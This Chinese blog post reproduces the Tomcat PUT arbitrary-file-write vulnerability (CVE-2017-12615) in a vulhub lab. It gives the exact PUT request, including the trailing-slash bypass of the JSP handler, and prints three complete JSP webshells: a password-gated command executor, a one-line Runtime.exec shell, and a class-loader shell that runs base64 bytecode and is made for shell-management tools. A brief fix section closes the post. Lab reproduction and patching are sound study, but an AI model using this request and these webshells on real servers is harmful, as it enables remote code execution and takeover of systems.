tomcat透過PUT方法任意檔案寫入(CVE-2017-12615)漏洞復現

Junglezt發表於2024-04-09

漏洞描述

Tomcat中如果在配置檔案中設定了readonly=false,就會產生任意檔案上傳漏洞。
readonly的值預設是true,即不允許請求頭delete和put操作,如果設定該引數為false,就可以透過put請求方法上傳任意檔案,例如jsp後門

漏洞利用

使用vulhub進行漏洞復現

cd vulhub/tomcat/CVE-2017-12615
sudo docker-compose up -d


成功啟動

請求頭格式如下:

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

上述上傳成功後就會在web目錄生成一個內容為shell的1.jsp檔案,只需要更改為jsp程式碼即可

使用burp抓包修改請求頭,將GET改為PUT,修改請求的檔名就是上傳的檔名,在POST傳輸資料傳入jsp木馬內容,
請求的地址為想要寫入的檔名,例如這裡是/1.jsp,為什麼要加入/1.jsp/呢?
是因為tomcat解析到字尾名為jsp或者jspx的時候會交給JspServlet,最後的/是因為檔名特性最後不支援/預設會去除就可以繞過JspServlet檔案的解析
具體原理可以參考https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e


這裡vulhub靶機的實驗環境是Linux,在Windows中我們可以利用Windows的檔名特性,例如字尾名空格去除或者是常用的::$DATANTFS檔案流繞過

上傳後使用訪問進行命令執行

jsp木馬參考:https://juejin.cn/post/7105300421089951775
有回顯的jsp木馬

<%
    if ("ocean".equals(request.getParameter("pwd"))) {
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while ((a = in.read(b)) != -1) {
            out.print(new String(b));
        }
        out.print("</pre>");
    }

%>

使用方法需要傳入一個pwd為密碼,密碼為ocean可以自定義,之後傳入cmd引數執行系統命令
預設的jsp一句話木馬

<% Runtime.getRuntime().exec(request.getParameter("i"));%>

缺點很多,無法使用工具連線,並且沒有命令回顯
工具可以連線的jsp木馬

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }

修復建議

readonly的值改為true即可防止該漏洞

修改web.xmlreadonly的值為true

再次利用失敗

實驗結束。

相關文章